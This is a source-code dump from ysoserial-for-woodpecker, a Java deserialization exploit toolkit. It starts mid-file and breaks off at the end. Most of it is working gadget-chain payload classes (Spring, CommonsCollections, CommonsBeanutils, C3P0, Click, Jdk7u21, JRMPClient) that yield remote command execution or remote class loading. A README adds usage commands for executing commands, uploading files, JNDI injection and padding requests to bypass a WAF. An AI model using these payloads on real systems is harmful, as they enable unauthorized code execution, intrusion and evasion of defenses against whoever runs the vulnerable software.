javax.xml.transform.Templates; 10 | 11 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 12 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 13 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 14 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 15 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 16 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 17 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 18 | import org.springframework.aop.framework.AdvisedSupport; 19 | import org.springframework.aop.target.SingletonTargetSource; 20 | 21 | 22 | /** 23 | * 24 | * Just a PoC to proof that the ObjectFactory stuff is not the real problem. 25 | * 26 | * Gadget chain: 27 | * TemplatesImpl.newTransformer() 28 | * Method.invoke(Object, Object...) 29 | * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) 30 | * JdkDynamicAopProxy.invoke(Object, Method, Object[]) 31 | * $Proxy0.newTransformer() 32 | * Method.invoke(Object, Object...) 33 | * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) 34 | * 35 | * @author mbechler 36 | */ 37 | 38 | @PayloadTest( precondition = "isApplicableJavaVersion") 39 | @Dependencies( { 40 | "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", 41 | // test deps 42 | "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" 43 | } ) 44 | @Authors({ Authors.MBECHLER }) 45 | public class Spring2 extends PayloadRunner implements ObjectPayload { 46 | 47 | public Object getObject ( final String command ) throws Exception { 48 | final Object templates = Gadgets.createTemplatesImpl(command); 49 | 50 | AdvisedSupport as = new AdvisedSupport(); 51 | as.setTargetSource(new SingletonTargetSource(templates)); 52 | 53 | final Type typeTemplatesProxy = Gadgets.createProxy( 54 | (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), 55 | Type.class, 56 | Templates.class); 57 | 58 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 59 | Gadgets.createMap("getType", typeTemplatesProxy), 60 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 61 | 62 | Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); 63 | Reflections.setFieldValue(mitp, "provider", typeProviderProxy); 64 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 65 | return mitp; 66 | } 67 | 68 | public static void main ( final String[] args ) throws Exception { 69 | PayloadRunner.run(Spring2.class, args); 70 | } 71 | 72 | public static boolean isApplicableJavaVersion() { 73 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections9.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollectionsUtil; 6 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 7 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 8 | import org.apache.commons.collections.Transformer; 9 | import org.apache.commons.collections.functors.ChainedTransformer; 10 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import java.lang.reflect.Field; 14 | import java.util.HashMap; 15 | import java.util.Hashtable; 16 | import java.util.Map; 17 | 18 | /* 19 | 20 | https://github.com/wh1t3p1g/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections9.java 21 | 22 | Gadget chain: 23 | java.util.Hashtable.readObject 24 | java.util.Hashtable.reconstitutionPut 25 | org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 26 | org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() 27 | org.apache.commons.collections.map.LazyMap.get() 28 | org.apache.commons.collections.functors.ChainedTransformer.transform() 29 | org.apache.commons.collections.functors.InvokerTransformer.transform() 30 | java.lang.reflect.Method.invoke() 31 | java.lang.Runtime.exec() 32 | 33 | */ 34 | 35 | @SuppressWarnings({"rawtypes", "unchecked"}) 36 | @Dependencies({"commons-collections:commons-collections:3.1"}) 37 | @Authors({ Authors.WH1T3P1G}) 38 | public class CommonsCollections9 extends PayloadRunner implements ObjectPayload{ 39 | @Override 40 | public Hashtable getObject(String command) throws Exception { 41 | final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 42 | final Transformer[] transformers = CommonsCollectionsUtil.getTransformerList(command); 43 | final Map innerMap = new HashMap(); 44 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 45 | 46 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 47 | Hashtable hashtable = new Hashtable(); 48 | hashtable.put("foo",1); 49 | // 获取hashtable的table类属性 50 | Field tableField = Hashtable.class.getDeclaredField("table"); 51 | Reflections.setAccessible(tableField); 52 | Object[] table = (Object[])tableField.get(hashtable); 53 | Object entry1 = table[0]; 54 | if(entry1==null) 55 | entry1 = table[1]; 56 | // 获取Hashtable.Entry的key属性 57 | Field keyField = entry1.getClass().getDeclaredField("key"); 58 | Reflections.setAccessible(keyField); 59 | // 将key属性给替换成构造好的TiedMapEntry实例 60 | keyField.set(entry1, entry); 61 | // 填充真正的命令执行代码 62 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 63 | return hashtable; 64 | } 65 | 66 | public static void main(final String[] args) throws Exception { 67 | PayloadRunner.run(CommonsCollections9.class, args); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsBeanutils3_183.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.sun.rowset.JdbcRowSetImpl; 4 | import javassist.ClassClassPath; 5 | import javassist.ClassPool; 6 | import javassist.CtClass; 7 | import javassist.CtField; 8 | import me.gv7.woodpecker.yso.JavassistClassLoader; 9 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 10 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 11 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 12 | import me.gv7.woodpecker.yso.payloads.custom.CustomCommand; 13 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 14 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 15 | 16 | import java.math.BigInteger; 17 | import java.util.Comparator; 18 | import java.util.PriorityQueue; 19 | 20 | @PayloadTest( precondition = "isApplicableJavaVersion") 21 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 22 | @Authors({ Authors.BEIYING }) 23 | public class CommonsBeanutils3_183 implements ObjectPayload{ 24 | @Override 25 | public Object getObject(String command) throws Exception { 26 | String jndiURL = null; 27 | if(command.toLowerCase().startsWith(CustomCommand.COMMAND_JNDI)){ 28 | jndiURL = command.substring(CustomCommand.COMMAND_JNDI.length()); 29 | }else{ 30 | throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); 31 | } 32 | 33 | ClassPool pool = ClassPool.getDefault(); 34 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 35 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 36 | ctBeanComparator.defrost(); 37 | try { 38 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 39 | ctBeanComparator.removeField(ctSUID); 40 | }catch (javassist.NotFoundException e){} 41 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 42 | 43 | final Comparator comparator = (Comparator) ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 44 | Reflections.setFieldValue(comparator, "property", null); 45 | Reflections.setFieldValue(comparator,"comparator",String.CASE_INSENSITIVE_ORDER); 46 | 47 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); 48 | rs.setDataSourceName(jndiURL); 49 | rs.setMatchColumn("foo"); 50 | PriorityQueue queue = new PriorityQueue(2, comparator); 51 | 52 | queue.add(new BigInteger("1")); 53 | queue.add(new BigInteger("1")); 54 | Reflections.setFieldValue(comparator, "property", "databaseMetaData"); 55 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 56 | queueArray[0] = rs; 57 | queueArray[1] = rs; 58 | ctBeanComparator.defrost(); 59 | return queue; 60 | } 61 | 62 | public static void main ( String[] args ) throws Exception { 63 | args = new String[]{"jndi:ldap://127.0.0.1:1664/obj"}; 64 | PayloadRunner.run(CommonsBeanutils3_183.class, args); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | import java.lang.reflect.AccessibleObject; 4 | import java.lang.reflect.Constructor; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | import sun.reflect.ReflectionFactory; 9 | 10 | import com.nqzero.permit.Permit; 11 | 12 | @SuppressWarnings ( "restriction" ) 13 | public class Reflections { 14 | 15 | public static void setAccessible(AccessibleObject member) { 16 | String versionStr = System.getProperty("java.version"); 17 | int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); 18 | if (javaVersion < 12) { 19 | // quiet runtime warnings from JDK9+ 20 | Permit.setAccessible(member); 21 | } else { 22 | // not possible to quiet runtime warnings anymore... 23 | // see https://bugs.openjdk.java.net/browse/JDK-8210522 24 | // to understand impact on Permit (i.e. it does not work 25 | // anymore with Java >= 12) 26 | member.setAccessible(true); 27 | } 28 | } 29 | 30 | public static Field getField(final Class clazz, final String fieldName) { 31 | Field field = null; 32 | try { 33 | field = clazz.getDeclaredField(fieldName); 34 | setAccessible(field); 35 | } 36 | catch (NoSuchFieldException ex) { 37 | if (clazz.getSuperclass() != null) 38 | field = getField(clazz.getSuperclass(), fieldName); 39 | } 40 | return field; 41 | } 42 | 43 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 44 | final Field field = getField(obj.getClass(), fieldName); 45 | field.set(obj, value); 46 | } 47 | 48 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 49 | final Field field = getField(obj.getClass(), fieldName); 50 | return field.get(obj); 51 | } 52 | 53 | public static Constructor getFirstCtor(final String name) throws Exception { 54 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 55 | setAccessible(ctor); 56 | return ctor; 57 | } 58 | 59 | public static Object newInstance(String className, Object ... args) throws Exception { 60 | return getFirstCtor(className).newInstance(args); 61 | } 62 | 63 | public static T createWithoutConstructor ( Class classToInstantiate ) 64 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 65 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 66 | } 67 | 68 | @SuppressWarnings ( {"unchecked"} ) 69 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 70 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 71 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 72 | setAccessible(objCons); 73 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 74 | setAccessible(sc); 75 | return (T)sc.newInstance(consArgs); 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import java.lang.reflect.Proxy; 5 | import java.rmi.registry.Registry; 6 | import java.rmi.server.ObjID; 7 | import java.rmi.server.RemoteObjectInvocationHandler; 8 | import java.util.LinkedList; 9 | import java.util.Random; 10 | 11 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 12 | import sun.rmi.server.UnicastRef; 13 | import sun.rmi.transport.LiveRef; 14 | import sun.rmi.transport.tcp.TCPEndpoint; 15 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 16 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 17 | 18 | 19 | /** 20 | * 21 | * 22 | * UnicastRef.newCall(RemoteObject, Operation[], int, long) 23 | * DGCImpl_Stub.dirty(ObjID[], long, Lease) 24 | * DGCClient$EndpointEntry.makeDirtyCall(Set, long) 25 | * DGCClient$EndpointEntry.registerRefs(List) 26 | * DGCClient.registerRefs(Endpoint, List) 27 | * LiveRef.read(ObjectInput, boolean) 28 | * UnicastRef.readExternal(ObjectInput) 29 | * 30 | * Thread.start() 31 | * DGCClient$EndpointEntry.(Endpoint) 32 | * DGCClient$EndpointEntry.lookup(Endpoint) 33 | * DGCClient.registerRefs(Endpoint, List) 34 | * LiveRef.read(ObjectInput, boolean) 35 | * UnicastRef.readExternal(ObjectInput) 36 | * 37 | * Requires: 38 | * - JavaSE 39 | * 40 | * Argument: 41 | * - host:port to connect to, host only chooses random port (DOS if repeated many times) 42 | * 43 | * Yields: 44 | * * an established JRMP connection to the endpoint (if reachable) 45 | * * a connected RMI Registry proxy 46 | * * one system thread per endpoint (DOS) 47 | * 48 | * @author mbechler 49 | */ 50 | @SuppressWarnings ( { 51 | "restriction" 52 | } ) 53 | @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") 54 | @Authors({ Authors.MBECHLER,Authors.C0NY1 }) 55 | public class JRMPClient extends PayloadRunner implements ObjectPayload { 56 | 57 | public Registry getObject ( final String command ) throws Exception { 58 | String host; 59 | int port; 60 | int objId; 61 | 62 | String[] cmds = command.split("\\:"); 63 | if(cmds.length == 1){ 64 | host = cmds[0]; 65 | port = new Random().nextInt(65535); 66 | objId = new Random().nextInt(); 67 | }else if(cmds.length == 2){ 68 | host = cmds[0]; 69 | port = Integer.valueOf(cmds[1]); 70 | objId = new Random().nextInt(); 71 | }else if(cmds.length == 3){ 72 | host = cmds[0]; 73 | port = Integer.valueOf(cmds[1]); 74 | objId = Integer.valueOf(cmds[2]); 75 | }else{ 76 | throw new Exception("Usage: -a host:port:obj_id"); 77 | } 78 | 79 | ObjID id = new ObjID(objId); // RMI registry 80 | TCPEndpoint te = new TCPEndpoint(host, port); 81 | UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); 82 | RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); 83 | Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { 84 | Registry.class 85 | }, obj); 86 | return proxy; 87 | } 88 | 89 | 90 | public static void main ( final String[] args ) throws Exception { 91 | Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); 92 | PayloadRunner.run(JRMPClient.class, args); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ysoserial-for-woodpecker 2 | 3 | ## 0x01 简介 4 | `ysoserial-for-woodpecker`是基于 [ysoserial](https://github.com/frohoff/ysoserial) ,为woodpecker框架定制开发的JDK反序列化gadget集成库。 5 | 6 | ## 0x02 编译 7 | Requires Java 1.7+ and Maven 3.x+ 8 | 9 | ``` 10 | mvn clean package -DskipTests 11 | ``` 12 | ## 0x03 简单使用 13 | 14 | ``` 15 | usage: ysoserial-for-woodpecker-.jar [-a ] [-c] [-ddl ] 16 | [-g ] [-l] 17 | -a,--args gadget parameters 18 | -c,--compress Zip the Templates gadgets 19 | -ddl,--dirt-data-length Add the length of dirty data, used to 20 | bypass WAF 21 | -g,--gadget java deserialization gadget 22 | -l,--list List all gadgets 23 | ``` 24 | 25 | 26 | #### 3.1 延时探测 27 | ``` 28 | java -jar ysoserial-for-woodpecker-.jar -g CommonsBeanutils1 -a "sleep:10" 29 | ``` 30 | #### 3.2 dns探测 31 | ``` 32 | java -jar ysoserial-for-woodpecker-.jar -g CommonsBeanutils1 -a "dnslog:xxx.dnslog.cn" 33 | ``` 34 | 35 | #### 3.3 DNS探测class 36 | 可用于探测 37 | 38 | ``` 39 | java -jar ysoserial-for-woodpecker-.jar -g FindClassByDNS -a "http://string.dnslog.cn|java.lang.String" 40 | ``` 41 | 42 | #### 3.4 延时探测class 43 | 注意设置深度,经过实战深度一般在25-28之间,太大会导致dos。 44 | 45 | ``` 46 | java -jar ysoserial-for-woodpecker-.jar -g FindClassByBomb -a "java.lang.String|28" 47 | ``` 48 | 49 | #### 3.5 执行命令 50 | 51 | ``` 52 | java -jar ysoserial-for-woodpecker-.jar -g CommonsBeanutils1 -a "raw_cmd:calc.exe" 53 | ``` 54 | 55 | #### 3.6 执行自定义字节码 56 | 57 | ``` 58 | java -jar ysoserial-for-woodpecker-.jar -g CommonsBeanutils1 -a "class_file:/tmp/memshell.class" 59 | ``` 60 | 61 | #### 3.7 上传文件 62 | 63 | ``` 64 | java -jar ysoserial-for-woodpecker-.jar -g CommonsBeanutils1 -a "upload_file:/tmp/local_file.txt|/var/www/remote_file.txt" 65 | ``` 66 | 67 | #### 3.8 执行js 68 | 69 | ``` 70 | java -jar ysoserial-for-woodpecker-.jar -g CommonsBeanutils1 -a "script_file:/tmp/sleep.js" 71 | ``` 72 | 73 | #### 3.9 JRMP 74 | 75 | ``` 76 | java -cp ysoserial-for-woodpecker-.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1234 CommonsCollections6Lite "raw_cmd:calc.exe" 77 | ``` 78 | 79 | #### 3.10 JNDI 80 | 81 | ``` 82 | java -jar ysoserial-for-woodpecker-.jar -g Spring3 -a "jndi:ldap://127.0.0.1:1089/obj" 83 | ``` 84 | #### 3.11 Bypass waf 85 | 加入40w脏数据绕WAF 86 | 87 | ``` 88 | java -jar ysoserial-for-woodpecker-.jar -g CommonsCollections6 -a "raw_cmd:calc" --dirt-data-length 400000 89 | ``` 90 | 91 | 更多功能移步`0x04 更多功能命令` 92 | ## 0x04 更多功能命令 93 | - [ ] sleep 生成延时payload 94 | - [ ] dnslog 生成dnslog payload 95 | - [ ] httplog 生成httplog payload 96 | - [ ] upload_file 上传文件,通过文件名 97 | - [ ] upload_file_base64 上传文件,通过文件base64内容 98 | - [ ] raw_cmd 原生的命令执行 99 | - [ ] win_cmd 在windows下执行命令 100 | - [ ] linux_cmd 在linux下执行命令 101 | - [ ] auto_cmd 自动判断操作系统执行命令 102 | - [ ] class_file 注入class文件,执行class代码 103 | - [ ] class_base64 注入class base64编码内容,执行class代码 104 | - [ ] code_file 注入要执行的代码 105 | - [ ] code_base64 注入要执行代码的base64编码 106 | - [ ] bcel 注入bcel字符串,实现代码执行 107 | - [ ] bcel_class_file 通过文件注入 108 | - [ ] bcel_with_args 注入bcel字符串和参数,实现代码执行 109 | - [ ] bcel_class_file_with_args 通过文件注入和参数,实现代码执行 110 | - [ ] script_file 通过js引擎执行代码 111 | - [ ] script_base64 通过js引擎执行代码 112 | - [ ] loadjar 调用jar中类的无参构造器 113 | - [ ] loadjar_with_args 调用jar中类的参数为一个String的构造器 114 | - [ ] jndi jndi注入 115 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/C3P0.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import java.io.PrintWriter; 5 | import java.sql.SQLException; 6 | import java.sql.SQLFeatureNotSupportedException; 7 | import java.util.logging.Logger; 8 | 9 | import javax.naming.NamingException; 10 | import javax.naming.Reference; 11 | import javax.naming.Referenceable; 12 | import javax.sql.ConnectionPoolDataSource; 13 | import javax.sql.PooledConnection; 14 | 15 | import com.mchange.v2.c3p0.PoolBackedDataSource; 16 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 17 | 18 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 19 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 20 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 21 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 22 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * 28 | * com.sun.jndi.rmi.registry.RegistryContext->lookup 29 | * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject 30 | * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject 31 | * 32 | * Arguments: 33 | * - base_url:classname 34 | * 35 | * Yields: 36 | * - Instantiation of remotely loaded class 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 42 | @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) 43 | @Authors({ Authors.MBECHLER }) 44 | public class C3P0 implements ObjectPayload { 45 | public Object getObject ( String command ) throws Exception { 46 | int sep = command.lastIndexOf(':'); 47 | if ( sep < 0 ) { 48 | throw new IllegalArgumentException("Command format is: :"); 49 | } 50 | 51 | String url = command.substring(0, sep); 52 | String className = command.substring(sep + 1); 53 | 54 | PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); 55 | Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); 56 | return b; 57 | } 58 | 59 | 60 | 61 | 62 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 63 | 64 | private String className; 65 | private String url; 66 | 67 | public PoolSource ( String className, String url ) { 68 | this.className = className; 69 | this.url = url; 70 | } 71 | 72 | public Reference getReference () throws NamingException { 73 | return new Reference("exploit", this.className, this.url); 74 | } 75 | 76 | public PrintWriter getLogWriter () throws SQLException {return null;} 77 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 78 | public void setLoginTimeout ( int seconds ) throws SQLException {} 79 | public int getLoginTimeout () throws SQLException {return 0;} 80 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 81 | public PooledConnection getPooledConnection () throws SQLException {return null;} 82 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 83 | 84 | } 85 | 86 | 87 | public static void main ( final String[] args ) throws Exception { 88 | PayloadRunner.run(C3P0.class, args); 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Click1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import org.apache.click.control.Column; 4 | import org.apache.click.control.Table; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 6 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 7 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 8 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 9 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 10 | 11 | import java.math.BigInteger; 12 | import java.util.Comparator; 13 | import java.util.PriorityQueue; 14 | 15 | /* 16 | Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). 17 | We use java.util.PriorityQueue to trigger ColumnComparator.compare(). 18 | After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. 19 | 20 | Chain: 21 | 22 | java.util.PriorityQueue.readObject() 23 | java.util.PriorityQueue.heapify() 24 | java.util.PriorityQueue.siftDown() 25 | java.util.PriorityQueue.siftDownUsingComparator() 26 | org.apache.click.control.Column$ColumnComparator.compare() 27 | org.apache.click.control.Column.getProperty() 28 | org.apache.click.control.Column.getProperty() 29 | org.apache.click.util.PropertyUtils.getValue() 30 | org.apache.click.util.PropertyUtils.getObjectPropertyValue() 31 | java.lang.reflect.Method.invoke() 32 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() 33 | ... 34 | 35 | Arguments: 36 | - command to execute 37 | 38 | Yields: 39 | - RCE via TemplatesImpl.getOutputProperties() 40 | 41 | Requires: 42 | - Apache Click 43 | - servlet-api of any version 44 | 45 | by @artsploit 46 | */ 47 | @SuppressWarnings({ "rawtypes", "unchecked" }) 48 | @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) 49 | @Authors({ Authors.ARTSPLOIT }) 50 | public class Click1 implements ObjectPayload { 51 | 52 | public Object getObject(final String command) throws Exception { 53 | 54 | // prepare a Column.comparator with mock values 55 | final Column column = new Column("lowestSetBit"); 56 | column.setTable(new Table()); 57 | Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); 58 | 59 | // create queue with numbers and our comparator 60 | final PriorityQueue queue = new PriorityQueue(2, comparator); 61 | // stub data for replacement later 62 | queue.add(new BigInteger("1")); 63 | queue.add(new BigInteger("1")); 64 | 65 | // switch method called by the comparator, 66 | // so it will trigger getOutputProperties() when objects in the queue are compared 67 | column.setName("outputProperties"); 68 | 69 | // finally, we inject and new TemplatesImpl object into the queue, 70 | // so its getOutputProperties() method will be called 71 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 72 | final Object templates = Gadgets.createTemplatesImpl(command); 73 | queueArray[0] = templates; 74 | 75 | return queue; 76 | } 77 | 78 | public static void main(final String[] args) throws Exception { 79 | PayloadRunner.run(Click1.class, args); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.LinkedHashSet; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 10 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 11 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 12 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 13 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 14 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 15 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 16 | 17 | 18 | /* 19 | 20 | Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has 21 | the same JRE version requirements. 22 | 23 | See: https://gist.github.com/frohoff/24af7913611f8406eaf3 24 | 25 | Call tree: 26 | 27 | LinkedHashSet.readObject() 28 | LinkedHashSet.add() 29 | ... 30 | TemplatesImpl.hashCode() (X) 31 | LinkedHashSet.add() 32 | ... 33 | Proxy(Templates).hashCode() (X) 34 | AnnotationInvocationHandler.invoke() (X) 35 | AnnotationInvocationHandler.hashCodeImpl() (X) 36 | String.hashCode() (0) 37 | AnnotationInvocationHandler.memberValueHashCode() (X) 38 | TemplatesImpl.hashCode() (X) 39 | Proxy(Templates).equals() 40 | AnnotationInvocationHandler.invoke() 41 | AnnotationInvocationHandler.equalsImpl() 42 | Method.invoke() 43 | ... 44 | TemplatesImpl.getOutputProperties() 45 | TemplatesImpl.newTransformer() 46 | TemplatesImpl.getTransletInstance() 47 | TemplatesImpl.defineTransletClasses() 48 | ClassLoader.defineClass() 49 | Class.newInstance() 50 | ... 51 | MaliciousClass.() 52 | ... 53 | Runtime.exec() 54 | */ 55 | 56 | @SuppressWarnings({ "rawtypes", "unchecked" }) 57 | @PayloadTest( precondition = "isApplicableJavaVersion") 58 | @Dependencies() 59 | @Authors({ Authors.FROHOFF }) 60 | public class Jdk7u21 implements ObjectPayload { 61 | 62 | public Object getObject(final String command) throws Exception { 63 | final Object templates = Gadgets.createTemplatesImpl(command); 64 | 65 | String zeroHashCodeStr = "f5a5a608"; 66 | 67 | HashMap map = new HashMap(); 68 | map.put(zeroHashCodeStr, "foo"); 69 | 70 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 71 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 72 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 73 | 74 | LinkedHashSet set = new LinkedHashSet(); // maintain order 75 | set.add(templates); 76 | set.add(proxy); 77 | 78 | Reflections.setFieldValue(templates, "_auxClasses", null); 79 | Reflections.setFieldValue(templates, "_class", null); 80 | 81 | map.put(zeroHashCodeStr, templates); // swap in real object 82 | 83 | return set; 84 | } 85 | 86 | public static boolean isApplicableJavaVersion() { 87 | JavaVersion v = JavaVersion.getLocalVersion(); 88 | return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(Jdk7u21.class, args); 93 | } 94 | 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Spring1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import static java.lang.Class.forName; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 12 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 13 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 14 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 15 | import org.springframework.beans.factory.ObjectFactory; 16 | 17 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 18 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 19 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 20 | 21 | /* 22 | Gadget chain: 23 | 24 | ObjectInputStream.readObject() 